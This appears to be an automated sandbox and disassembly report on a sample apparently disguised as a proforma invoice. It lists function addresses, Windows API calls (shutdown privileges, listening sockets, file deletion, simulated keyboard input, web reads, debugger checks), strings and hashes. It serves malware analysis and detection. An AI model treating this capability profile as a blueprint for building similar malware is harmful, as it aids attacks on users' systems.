Opcode ID: e926cce36b07d06bb7c0733c9400f919ac4412faec5a1b1053e87b855c1bbe96
Instruction ID: ca956cd0e22d6365560ea42d5a6c2a1974384a5f661fd1dbf502541e3db8d437
Opcode Fuzzy Hash: e926cce36b07d06bb7c0733c9400f919ac4412faec5a1b1053e87b855c1bbe96
Instruction Fuzzy Hash: 8A415F35604611AFEB10DF16D488F1ABBA5EF44318F1585AAE4158B762C739EC42CB98

Function 0048E8F6 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 57shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 004816C3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 0048170D
Part of subcall function 004816C3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 0048173A
Part of subcall function 004816C3: GetLastError.KERNEL32 ref: 0048174A

ExitWindowsEx.USER32(?,00000000), ref: 0048E932

Strings

, xrefs: 0048E95C
@, xrefs: 0048E925
SeShutdownPrivilege, xrefs: 0048E902
, xrefs: 0048E920

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $ $@$SeShutdownPrivilege
API String ID: 2234035333-3163812486
Opcode ID: 4b42f1703ee69b4c12dda2f1afc0dd92d4aef9ec3cd60e4a43c4835be7e6cdf7
Instruction ID: ccf82a041d9c03c5c29f86bae761371e3f0cadd5c3d1e216dcd089ec2bccae8c
Opcode Fuzzy Hash: 4b42f1703ee69b4c12dda2f1afc0dd92d4aef9ec3cd60e4a43c4835be7e6cdf7
Instruction Fuzzy Hash: 680149B2610211ABEB2436B69CC6FBF725C9714754F150D23FC03E22E2D6E89C4183AC

Function 004A1204 Relevance: 12.1, APIs: 8, Instructions: 113networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 004A1276
WSAGetLastError.WSOCK32 ref: 004A1283
bind.WSOCK32(00000000,?,00000010), ref: 004A12BA
WSAGetLastError.WSOCK32 ref: 004A12C5
closesocket.WSOCK32(00000000), ref: 004A12F4
listen.WSOCK32(00000000,00000005), ref: 004A1303
WSAGetLastError.WSOCK32 ref: 004A130D
closesocket.WSOCK32(00000000), ref: 004A133C

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: ErrorLast$closesocket$bindlistensocket
String ID:
API String ID: 540024437-0
Opcode ID: 22a7f11e964a73a7a9b41e499f16e3c2eefc32624332e02710574e4cc2ca3395
Instruction ID: 761b0704b1888753327e9f9e01186d3f7bae13f83eedb8bf4b141f9fc8c9dedb
Opcode Fuzzy Hash: 22a7f11e964a73a7a9b41e499f16e3c2eefc32624332e02710574e4cc2ca3395
Instruction Fuzzy Hash: F34190316001109FDB10EF64D4C8B2ABBE5AF5A318F188199E8569F3E2C775EC81CBE5

Function 0045B952 Relevance: 10.9, APIs: 7, Instructions: 370timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0045B9D4
_free.LIBCMT ref: 0045B9F8
_free.LIBCMT ref: 0045BB7F
GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,004C3700), ref: 0045BB91
WideCharToMultiByte.KERNEL32(00000000,00000000,004F121C,000000FF,00000000,0000003F,00000000,?,?), ref: 0045BC09
WideCharToMultiByte.KERNEL32(00000000,00000000,004F1270,000000FF,?,0000003F,00000000,?), ref: 0045BC36
_free.LIBCMT ref: 0045BD4B

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: _free$ByteCharMultiWide$InformationTimeZone
String ID:
API String ID: 314583886-0
Opcode ID: 4dea0adeab115050e333a19a2243bc0f5e4fc619984822d5d586f02ee5197183
Instruction ID: fd3bc892dfd00cda4627411187075c5cc068c61143c78664f5d399e840045eba
Opcode Fuzzy Hash: 4dea0adeab115050e333a19a2243bc0f5e4fc619984822d5d586f02ee5197183
Instruction Fuzzy Hash: D5C12771900204AFCB219F698841AAA7BB8EF41315F1441AFEC90E7353E7789E49C7DC

Function 0048D3A9 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00423AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00423A97,?,?,00422E7F,?,?,?,00000000), ref: 00423AC2

Part of subcall function 0048E199: GetFileAttributesW.KERNEL32(?,0048CF95), ref: 0048E19A

FindFirstFileW.KERNEL32(?,?), ref: 0048D420
DeleteFileW.KERNEL32(?,?,?,?), ref: 0048D470
FindNextFileW.KERNEL32(00000000,00000010), ref: 0048D481
FindClose.KERNEL32(00000000), ref: 0048D498
FindClose.KERNEL32(00000000), ref: 0048D4A1

Strings

\*.*, xrefs: 0048D3F2

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
String ID: \*.*
API String ID: 2649000838-1173974218
Opcode ID: 25a3118ac2d813d26349527be3c39c8de4d797be27dcc6dbe649663eb0a7806e
Instruction ID: 842a3fcc92a95c0d33c9e2ad01bb4ed3f0f2d831d0d19c2851b1d0ab2694711a
Opcode Fuzzy Hash: 25a3118ac2d813d26349527be3c39c8de4d797be27dcc6dbe649663eb0a7806e
Instruction Fuzzy Hash: D531A2714093559BC304FF65D8918AF77E8BE91704F844E2EF8D153191EB38AA09CB6B

Function 0045E4FF Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 0045E645

Strings

1#QNAN, xrefs: 0045F84B
1#IND, xrefs: 0045F83D
1#SNAN, xrefs: 0045F844
1#INF, xrefs: 0045F852

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 186d86ca9213e5044504a24e9140c10a45415f89546e2680bc23a5877b8f302d
Instruction ID: a527fa9b958239f74dd42da30a727e33f048c1eb70af6ac159f0facc7509c656
Opcode Fuzzy Hash: 186d86ca9213e5044504a24e9140c10a45415f89546e2680bc23a5877b8f302d
Instruction Fuzzy Hash: 4AC26E71D046288FDB29CE29CD407EAB7B5EB45306F1441EBD80DE7242E778AE898F45

Function 0049648E Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 367comCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 004964DC
CoInitialize.OLE32(00000000), ref: 00496639
CoCreateInstance.OLE32(004BFCF8,00000000,00000001,004BFB68,?), ref: 00496650
CoUninitialize.OLE32 ref: 004968D4

Strings

.lnk, xrefs: 004964BA, 00496524, 004965E0

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_wcslen
String ID: .lnk
API String ID: 886957087-24824748
Opcode ID: 2686d4b318effdcc88b19d79c4f502c6da563e93cbab1bb3ad0a900ff88df973
Instruction ID: 400260058ac8d2254ab80d05ea8a40f146e3b29ecc6d1b6ae676fd77fec3bcfa
Opcode Fuzzy Hash: 2686d4b318effdcc88b19d79c4f502c6da563e93cbab1bb3ad0a900ff88df973
Instruction Fuzzy Hash: F9D17B71608211AFC704EF25D881E6BB7E8FF98308F51492EF5958B291DB34ED09CB96

Function 004A22DA Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,00000000), ref: 004A22E8

Part of subcall function 0049E4EC: GetWindowRect.USER32(?,?), ref: 0049E504

GetDesktopWindow.USER32 ref: 004A2312
GetWindowRect.USER32(00000000), ref: 004A2319
mouse_event.USER32(00008001,?,?,00000002,00000002), ref: 004A2355
GetCursorPos.USER32(?), ref: 004A2381
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 004A23DF

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForeground
String ID:
API String ID: 2387181109-0
Opcode ID: d5c231b5b7927f7bd045be7175b1e0828dd68a6357c91a053ced361e5dbf204e
Instruction ID: c661e1bea47b5be0b69dbe1ea269f819145a1bdecbd8d52ffc0150df21c7fd1e
Opcode Fuzzy Hash: d5c231b5b7927f7bd045be7175b1e0828dd68a6357c91a053ced361e5dbf204e
Instruction Fuzzy Hash: CE310472504315AFCB20DF29C984F5BB7A9FF95314F000A1EF98597181DB78EA09CB96

Function 00499B2B Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 119filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00429CB3: _wcslen.LIBCMT ref: 00429CBD

FindFirstFileW.KERNEL32(00000001,?,*.*,?,?,00000000,00000000), ref: 00499B78
FindClose.KERNEL32(00000000,?,00000000,00000000), ref: 00499C8B

Part of subcall function 00493874: GetInputState.USER32 ref: 004938CB
Part of subcall function 00493874: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00493966

Sleep.KERNEL32(0000000A,?,00000000,00000000), ref: 00499BA8
FindNextFileW.KERNEL32(?,?,?,00000000,00000000), ref: 00499C75

Strings

*.*, xrefs: 00499B5D

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Find$File$CloseFirstInputMessageNextPeekSleepState_wcslen
String ID: *.*
API String ID: 1972594611-438819550
Opcode ID: c7833c41c51cb3de08a892612a34fd6c5d88f3e257c7c0d830c316be3153476f
Instruction ID: f591fff6f216fd2fdf254a9d1757099817a7835bcf505b3d600793c148c01445
Opcode Fuzzy Hash: c7833c41c51cb3de08a892612a34fd6c5d88f3e257c7c0d830c316be3153476f
Instruction Fuzzy Hash: C241857190021A9FDF14DF69DC85AEE7BB4FF05304F24416BE805A2291DB389E44CF69

Function 0043997D Relevance: 7.9, APIs: 5, Instructions: 375COMMON

Download Yara Rule

APIs

Part of subcall function 00439BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00439BB2

DefDlgProcW.USER32(?,?,?,?,?), ref: 00439A4E
GetSysColor.USER32(0000000F), ref: 00439B23
SetBkColor.GDI32(?,00000000), ref: 00439B36

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Color$LongProcWindow
String ID:
API String ID: 3131106179-0
Opcode ID: 94370c07e13e023c0715fd7d489ff68089cbf127ffe7cb8cf86eb8e485e48893
Instruction ID: e9abe703cd2c8b8ee6ead937e3458fe22d514fe760cb1cea4fd12120a43b34f6
Opcode Fuzzy Hash: 94370c07e13e023c0715fd7d489ff68089cbf127ffe7cb8cf86eb8e485e48893
Instruction Fuzzy Hash: 96A13971108444FEE728BA3D8C98EBB265DDB4A354F14921BF102C67D5CAAD9D02C27E

Function 004A1806 Relevance: 7.7, APIs: 5, Instructions: 153networkCOMMON

Download Yara Rule

APIs

Part of subcall function 004A304E: inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 004A307A
Part of subcall function 004A304E: _wcslen.LIBCMT ref: 004A309B

socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 004A185D
WSAGetLastError.WSOCK32 ref: 004A1884
bind.WSOCK32(00000000,?,00000010), ref: 004A18DB
WSAGetLastError.WSOCK32 ref: 004A18E6
closesocket.WSOCK32(00000000), ref: 004A1915

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: ErrorLast$_wcslenbindclosesocketinet_addrsocket
String ID:
API String ID: 1601658205-0
Opcode ID: cc9b507f0d4371c3ea37e33be321cdd89012e44a2b7537bcb9fdff0075976dee
Instruction ID: b05567849c3582974a1739e9869c0bd49236f67d6f9a97937dc05c406ffad596
Opcode Fuzzy Hash: cc9b507f0d4371c3ea37e33be321cdd89012e44a2b7537bcb9fdff0075976dee
Instruction Fuzzy Hash: D351C271A00210AFDB10AF24D8C6F2A77E5AB49718F44819DF9055F3D3C779AD41CBA5

Function 004B1C41 Relevance: 7.6, APIs: 5, Instructions: 83windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 004B1CC0
IsWindowEnabled.USER32 ref: 004B1CCE
GetForegroundWindow.USER32(?,?,00000001,?), ref: 004B1CDB
IsIconic.USER32 ref: 004B1CE9
IsZoomed.USER32 ref: 004B1CF7

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Window$EnabledForegroundIconicVisibleZoomed
String ID:
API String ID: 292994002-0
Opcode ID: 70449bec7544044f2bbd71ea17bff2432e0fe4d1fd1d18b17fdabb27fe66efa3
Instruction ID: ccbd7bb3f61870f20078f1ac23ce378a4b2b03c1eefdb58ef01106d7fdd2d72d
Opcode Fuzzy Hash: 70449bec7544044f2bbd71ea17bff2432e0fe4d1fd1d18b17fdabb27fe66efa3
Instruction Fuzzy Hash: BA21B6317401115FD7208F1AD894BAB7BA5AF55314F59806EE445CB361C779EC42CBA8

Function 00428060 Relevance: 7.4, Strings: 5, Instructions: 1151COMMON

Download Yara Rule

Strings

VUUU, xrefs: 004283E8
VUUU, xrefs: 00465DF0
ERCP, xrefs: 0042813C
VUUU, xrefs: 004283FA
VUUU, xrefs: 0042843C

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID:
String ID: ERCP$VUUU$VUUU$VUUU$VUUU
API String ID: 0-1546025612
Opcode ID: ed9baa34a54b8c6bb659021d3a6c8d54e1c1b0121138b61551da65bf3f6d4408
Instruction ID: 9352672ba20d359abc89b513ce37d048ec0240b17f214f31d5722a7221a3bc1f
Opcode Fuzzy Hash: ed9baa34a54b8c6bb659021d3a6c8d54e1c1b0121138b61551da65bf3f6d4408
Instruction Fuzzy Hash: D1A29270E0122ACBDF24CF58D9407AEB7B1BF54310F5581ABD815A7385EB389D81CB9A

Function 00488298 Relevance: 6.6, APIs: 1, Strings: 3, Instructions: 568stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,?,?,00000000), ref: 004882AA

Strings

|, xrefs: 004882DA
(, xrefs: 004882F0
tbN, xrefs: 004884F4

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: lstrlen
String ID: ($tbN$|
API String ID: 1659193697-2988567129
Opcode ID: e70e1a0e9697742d4ad6e897f0cd6edcf2ac5ef734869014862499523ae5ca09
Instruction ID: 71dc31cdf4ddeb8eaa2bc1ea3bf1f5064bc8d46e619021564ebf5fa2bcd71e9a
Opcode Fuzzy Hash: e70e1a0e9697742d4ad6e897f0cd6edcf2ac5ef734869014862499523ae5ca09
Instruction Fuzzy Hash: 4D324574A00605DFCB28DF19C481A6AB7F0FF48710B55C86EE89ADB7A1EB74E941CB44

Function 004AA67C Relevance: 6.2, APIs: 4, Instructions: 175processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 004AA6AC
Process32FirstW.KERNEL32(00000000,?), ref: 004AA6BA

Part of subcall function 00429CB3: _wcslen.LIBCMT ref: 00429CBD

Process32NextW.KERNEL32(00000000,?), ref: 004AA79C
CloseHandle.KERNEL32(00000000), ref: 004AA7AB

Part of subcall function 0043CE60: CompareStringW.KERNEL32(00000409,00000001,?,00000000,00000000,?,?,00000000,?,00463303,?), ref: 0043CE8A

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Process32$CloseCompareCreateFirstHandleNextSnapshotStringToolhelp32_wcslen
String ID:
API String ID: 1991900642-0
Opcode ID: c783b19ad2bbcc126bc3ae7a3e675f46bf3c81723ed41f32d34159df8c7111a3
Instruction ID: e11a3f286b70694c06e9fdb6c90de69922ebdf9f3af57647a0594cffce3f0d8f
Opcode Fuzzy Hash: c783b19ad2bbcc126bc3ae7a3e675f46bf3c81723ed41f32d34159df8c7111a3
Instruction Fuzzy Hash: 5B51A071608310AFD310EF25D886E6BBBE8FF89748F40492EF98597251EB34D904CB96

Function 0048AA57 Relevance: 6.1, APIs: 4, Instructions: 107keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,00000001,00000040,00000000), ref: 0048AAAC
SetKeyboardState.USER32(00000080), ref: 0048AAC8
PostMessageW.USER32(?,00000102,00000001,00000001), ref: 0048AB36
SendInput.USER32(00000001,?,0000001C,00000001,00000040,00000000), ref: 0048AB88

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: b3cfae6307fcabe9a1f7e67401f544064c10c38d46434cb2c958cb1f373ba0f3
Instruction ID: 2e7c55492e6fa21712eaf2e26c92fd8228f58c0e16bf5a87bef5f8a80204f0d7
Opcode Fuzzy Hash: b3cfae6307fcabe9a1f7e67401f544064c10c38d46434cb2c958cb1f373ba0f3
Instruction Fuzzy Hash: 9B312E30A40204AFFB35EA658C45BFF77A6AB44310F044A1BF281522D0D3BC9961D75B

Function 0049CE44 Relevance: 6.1, APIs: 4, Instructions: 75filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(?,?,00000400,?), ref: 0049CE89
GetLastError.KERNEL32(?,00000000), ref: 0049CEEA
SetEvent.KERNEL32(?,?,00000000), ref: 0049CEFE

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: ErrorEventFileInternetLastRead
String ID:
API String ID: 234945975-0
Opcode ID: 6b1616fb1bff038c45605e4613bd515b6d2074ae80864c80c720869388f33546
Instruction ID: 9e9cfb6e0ce594ce4d7de7b5beeeda62638467c5b8dc2043845ffca01701e322
Opcode Fuzzy Hash: 6b1616fb1bff038c45605e4613bd515b6d2074ae80864c80c720869388f33546
Instruction Fuzzy Hash: 56218E719007059BEF20DFA6C9C8BA77BF8EB50358F10442FE64692291E778EE058B58

Function 00452622 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0045271A
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00452724
UnhandledExceptionFilter.KERNEL32(?), ref: 00452731

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
